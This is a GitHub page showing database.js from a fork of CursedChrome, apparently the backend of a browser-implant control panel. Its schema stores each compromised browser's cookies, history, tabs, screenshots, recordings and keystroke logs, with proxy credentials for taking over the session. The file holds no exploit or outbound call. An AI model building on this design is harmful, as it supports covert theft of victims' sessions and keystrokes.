forked from s045pd/CursedChrome
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdatabase.js
More file actions
575 lines (532 loc) · 14.2 KB
/
database.js
File metadata and controls
575 lines (532 loc) · 14.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
const { seq } = require("async");
const Sequelize = require("sequelize");
const uuid = require("uuid");
const get_secure_random_string = require("./utils.js").get_secure_random_string;
const get_hashed_password = require("./utils.js").get_hashed_password;
var sequelize = new Sequelize(
process.env.DATABASE_NAME,
process.env.DATABASE_USER,
process.env.DATABASE_PASSWORD,
{
host: process.env.DATABASE_HOST,
port: process.env.DATABASE_PORT || 5432,
dialect: "postgres",
benchmark: true,
logging: false,
// logging: console.log,
}
);
const Model = Sequelize.Model;
/*
User accounts in the web panel
*/
class Users extends Model {}
Users.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// Whether or not the email address has been verified.
// Username
username: {
type: Sequelize.TEXT,
allowNull: true,
unique: true,
},
// Bcrypt
password: {
type: Sequelize.TEXT,
allowNull: true,
},
// Whether the password should be changed
// by the user when they log in.
password_should_be_changed: {
type: Sequelize.BOOLEAN,
allowNull: false,
default: false,
},
},
{
sequelize,
modelName: "users",
indexes: [
{
unique: true,
fields: ["username"],
method: "BTREE",
},
],
}
);
class Bots extends Model {}
Bots.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// The unique ID for the specific browser
browser_id: {
type: Sequelize.TEXT,
allowNull: false,
unique: false,
},
// Name of the browser proxy
name: {
type: Sequelize.TEXT,
allowNull: false,
unique: false,
default: "Untitled Proxy",
},
// The username to access the browser
// HTTP proxy.
proxy_username: {
type: Sequelize.TEXT,
allowNull: false,
unique: true,
},
// The password to access the browser
// HTTP proxy.
proxy_password: {
type: Sequelize.TEXT,
allowNull: false,
},
// Whether the proxy is currently online
is_online: {
type: Sequelize.BOOLEAN,
allowNull: false,
defaultValue: true,
},
last_online: {
type: Sequelize.DATE,
allowNull: false,
default: new Date(),
},
current_tab: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
current_tab_image: {
type: Sequelize.TEXT,
allowNull: false,
default: "",
},
tabs: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
history: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
cookies: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
state: {
type: Sequelize.TEXT,
allowNull: false,
default: "",
},
bookmarks: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
downloads: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
switch_config: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
data_config: {
type: Sequelize.JSON,
allowNull: false,
default: {},
},
// Bot user agent
user_agent: {
type: Sequelize.TEXT,
allowNull: true,
unique: false,
default: "Unknown",
},
recording: {
type: Sequelize.JSON,
allowNull: false,
default: [],
},
// Screen capture data
screenshots: {
type: Sequelize.JSON,
allowNull: true,
defaultValue: [],
},
// Activity tracking: Array of { start: timestamp, end: timestamp }
activity: {
type: Sequelize.JSON,
allowNull: true,
defaultValue: [],
},
// Timestamp of last active state or interaction
last_active_at: {
type: Sequelize.DATE,
allowNull: true,
},
},
{
sequelize,
modelName: "bots",
indexes: [
{
unique: false,
fields: ["browser_id"],
method: "BTREE",
},
{
unique: true,
fields: ["proxy_username"],
method: "BTREE",
},
{
unique: false,
fields: ["proxy_password"],
method: "BTREE",
},
],
}
);
class BotRecording extends Model {}
BotRecording.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
recording: {
type: Sequelize.TEXT,
allowNull: false,
default: "",
},
bot: {
type: Sequelize.UUID,
allowNull: false,
unique: false,
references: {
model: "bots",
key: "id",
},
},
text: {
type: Sequelize.TEXT,
allowNull: true,
default: "",
},
timestamp: {
type: Sequelize.DATE,
allowNull: true, // Allow null for backwards compatibility
defaultValue: Sequelize.NOW,
},
session_id: {
type: Sequelize.STRING,
allowNull: true,
},
},
{
sequelize,
modelName: "bot_recordings",
indexes: [
{
fields: ["bot"],
method: "BTREE",
},
],
}
);
Bots.hasMany(BotRecording, {
foreignKey: "bot",
sourceKey: "id",
});
/*
Various key/values for settings
*/
class Settings extends Model {}
Settings.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
// Setting name
key: {
type: Sequelize.TEXT,
allowNull: true,
unique: true,
},
// Setting value
value: {
type: Sequelize.TEXT,
allowNull: true,
},
},
{
sequelize,
modelName: "settings",
indexes: [
{
unique: true,
fields: ["key"],
method: "BTREE",
},
],
}
);
async function create_new_user(username, password) {
const bcrypt_hash = await get_hashed_password(password);
const new_user = await Users.create({
id: uuid.v4(),
username: username,
password: bcrypt_hash,
password_should_be_changed: true,
});
return new_user;
}
function get_default_user_created_banner(username, password) {
return `
============================================================================
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv
An admin user (for the admin control panel) has been created
with the following credentials:
USERNAME: ${username}
PASSWORD: ${password}
Upon logging in to the admin control panel with these
credentials you will be prompted to change your password.
Please do so at your earliest convenience as this message
is potentially being logged by Docker.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
█████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗
██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║
███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║
██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║
██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
============================================================================
`;
}
async function initialize_users() {
// Check if there is at least one User account
// that exists in the database. If not, create
// one and write the auth information to the
// filesystem for the admin to get.
const existing_users = await Users.findAll();
// If there are already users we can stop here.
if (existing_users.length > 0) {
return;
}
// Since there's no users, we need to create one.
// Otherwise there's nothing to log in with.
// Generate cryptographically-secure random
// password for the default user we're adding.
const new_username = "admin";
const new_password = get_secure_random_string(32);
// Create user and add to database
const new_user = await create_new_user(new_username, new_password);
// Now we need to write these credentials to the
// filesystem in a file so the user can retrieve
// them.
const banner_message = get_default_user_created_banner(
new_username,
new_password
);
console.log(banner_message);
}
async function initialize_configs() {
const session_secret_key = "SESSION_SECRET";
// Check for existing session secret value
const session_secret_setting = await Settings.findOne({
where: {
key: session_secret_key,
},
});
// If it exists, there's nothing else to do here.
if (session_secret_setting) {
return;
}
console.log(`No session secret set, generating one now...`);
// Since it doesn't exist, generate one.
await Settings.create({
id: uuid.v4(),
key: session_secret_key,
value: get_secure_random_string(64),
});
console.log(`Session secret generated successfully!`);
}
async function database_init() {
console.log(`Checking for database tables...`);
const force = false; // Changed back to false after initial rebuild
const alter = true; // This will add new columns to existing tables
try {
await Users.sync({ force: force, alter: alter });
console.log("Users synced");
} catch (error) {
console.error("Error during Model Sync:", error);
}
await Bots.sync({ force: force, alter: alter });
await Settings.sync({ force: force, alter: alter });
await BotRecording.sync({ force: force, alter: alter });
await BotScreenshots.sync({ force: force, alter: alter });
await BotKeyboardLogs.sync({ force: force, alter: alter });
// Set up configs if they're not already set up.
console.log(`Checking for configs...`);
await initialize_configs();
// Set up admin panel user if not already set up.
console.log(`Checking for admin user...`);
await initialize_users();
}
class BotScreenshots extends Model {}
BotScreenshots.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
bot_id: {
type: Sequelize.UUID,
allowNull: false,
references: {
model: "bots",
key: "id",
},
},
url: {
type: Sequelize.TEXT,
allowNull: true,
},
title: {
type: Sequelize.TEXT,
allowNull: true,
},
image_data: {
type: Sequelize.TEXT,
allowNull: false,
},
session_id: {
type: Sequelize.STRING,
allowNull: true,
},
difference: {
type: Sequelize.FLOAT,
allowNull: true,
},
timestamp: {
type: Sequelize.DATE,
allowNull: false,
defaultValue: Sequelize.NOW,
},
},
{
sequelize,
modelName: "bot_screenshots",
indexes: [
{
fields: ["bot_id"],
method: "BTREE",
},
{
fields: ["timestamp"],
method: "BTREE",
},
],
}
);
class BotKeyboardLogs extends Model {}
BotKeyboardLogs.init(
{
id: {
allowNull: false,
primaryKey: true,
type: Sequelize.UUID,
defaultValue: uuid.v4(),
},
bot_id: {
type: Sequelize.UUID,
allowNull: false,
references: {
model: "bots",
key: "id",
},
},
url: {
type: Sequelize.TEXT,
allowNull: true,
},
title: {
type: Sequelize.TEXT,
allowNull: true,
},
keys: {
type: Sequelize.TEXT,
allowNull: false,
},
timestamp: {
type: Sequelize.DATE,
allowNull: false,
defaultValue: Sequelize.NOW,
},
},
{
sequelize,
modelName: "bot_keyboard_logs",
indexes: [
{
fields: ["bot_id"],
method: "BTREE",
},
{
fields: ["timestamp"],
method: "BTREE",
},
],
}
);
Bots.hasMany(BotScreenshots, {
foreignKey: "bot_id",
sourceKey: "id",
});
Bots.hasMany(BotKeyboardLogs, {
foreignKey: "bot_id",
sourceKey: "id",
});
module.exports.sequelize = sequelize;
module.exports.Users = Users;
module.exports.Bots = Bots;
module.exports.Settings = Settings;
module.exports.BotRecording = BotRecording;
module.exports.BotScreenshots = BotScreenshots;
module.exports.BotKeyboardLogs = BotKeyboardLogs;
module.exports.database_init = database_init;